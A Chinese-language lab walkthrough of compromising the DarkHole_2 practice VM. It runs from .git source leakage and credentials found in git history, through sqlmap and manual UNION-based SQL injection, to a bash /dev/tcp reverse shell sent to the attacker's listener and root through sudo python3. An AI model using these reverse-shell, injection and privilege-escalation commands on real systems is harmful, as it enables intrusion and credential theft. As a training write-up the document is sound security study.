下载好DarkHole_2后,用VMware打开,开始:
首先探测靶机地址:arp-scan -l
可以看到我的IP:192.168.1.104
靶机IP:192.168.1.105
先端口扫描一波吧:nmap -T4 -A -v -p- 192.168.1.105
开启了22、80端口
访问80端口,只有一个登陆页面,
尝试了一下万能密码啥的,没用,但是仔细观察nmap扫描结果,可以发现存在/.git/目录,也就意味着存在源码泄露,首先想到的是利用GitHack。
下载GitHack:git clone https://github.com/lijiejie/GitHack.git
使用python GitHack.py http://192.168.1.105/.git 即可源码下载到本地。(GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码)
在这里,通过翻看文件,可以发现几个点:
/config/config.php:里面存在一条MySQL相关的语句
login.php:可以看到登陆界面,对用户名和密码的处理逻辑
index.php:在这里面发现了一个熟悉的".php?id=",去浏览器访问一下
无权限
到这里思路卡住了,参考了别的文章发现,/.git 源码泄露的利用方式,如果采用GitHack的话,在某些情况下会不太实用。
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
使用 wget 下载 git 存储库。
wget -r http://192.168.1.105/.git
下载了 .git 目录后,使用git clone . webapp 命令会将该目录创建一个webapp的源码文件,可以在其中执行所有 git 操作。
在创建的webapp文件下使用git log ,发现在git日志当中存在修改记录,切换到该条记录下,在login.php文件当中发现了一个用户名和密码:
去登陆页面:lush@admin.com/321 ,登录成功
在这里熟悉的.php?id= 又出现了,在本地就直接上sqlmap一把梭,在F12去获取一下cookie:
python sqlmap.py -u "http://192.168.1.105/dashboard.php?id=1" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch
可以发现,是存在注入的
跑一下数据库和表:
存在两个表ssh和users,都--dump一下:python sqlmap.py -u "http://192.168.1.105/dashboard.php?id=1" --cookie="PHPSESSID=m3sobdta513vnj0b5m8aplbr7h" --batch -D darkhole_2 -T ssh --dump
只有ssh存在的信息是有用的:ssh jehad@192.168.1.105
连接成功,查一下相关信息,并准备提权:
存在python3 ,先使用一波:python3 -c 'import os; os.setuid(0); os.system("/bin/sh")' ,但是失败了
准备尝试查找SUID文件,但是没有可用的
find / -user root -perm -4000 -print 2>/dev/null
查看定时任务:cat /etc/crontab
定时任务存在一个9999端口的web服务,访问一下是连接失败的
尝试把这个9999端口转发到本地
ssh -L 9999:127.0.0.1:9999 jehad@192.168.1.105
查看对应目录下的文件: cd /opt/web ,发现是一个cmd马
并且是可以执行的
在建立一个反向shell ,本地 nc -nlvp 4444 监听4444端口
shell payload如下:bash -c 'bash -i >& /dev/tcp/192.168.1.104/4444 0>&1'
由于是通过Get方式执行payload,于是采用url编码一下:
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.104%2F4444%200%3E%261%27
监听成功:
尝试python获取交互式shell:python3 -c 'import pty;pty.spawn("/bin/bash")'
查看了一番,在历史文件 .bash_history 当中发现了一个密码:more ~/.bash_history ————————————losy:gang
查看一下用户权限:sudo -l
存在(root)/usr/bin/python3
利用一下:(这里最开始忘了加上 sudo 。。。。)
sudo python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
or
sudo python3 -c 'import os; os.system("/bin/bash")'
提权成功
★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★★
补一下手工sql注入过程,copy
1】列数
id=1' ORDER BY 6 -- -
id=1' ORDER BY 7 -- -
This gives an error suggesting the 7th column doesn't exist2】回显点
id=NULL' UNION ALL SELECT 1,2,3,4,5,6 -- -
3】数据库名称
NULL' UNION ALL SELECT 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata -- -
4】表名
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2'-- -
5】列名
id=NULL' UNION ALL SELECT 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh'-- -
6】获取表信息
id=NULL' UNION ALL SELECT 1,user,pass,4,5,6 FROM ssh-- -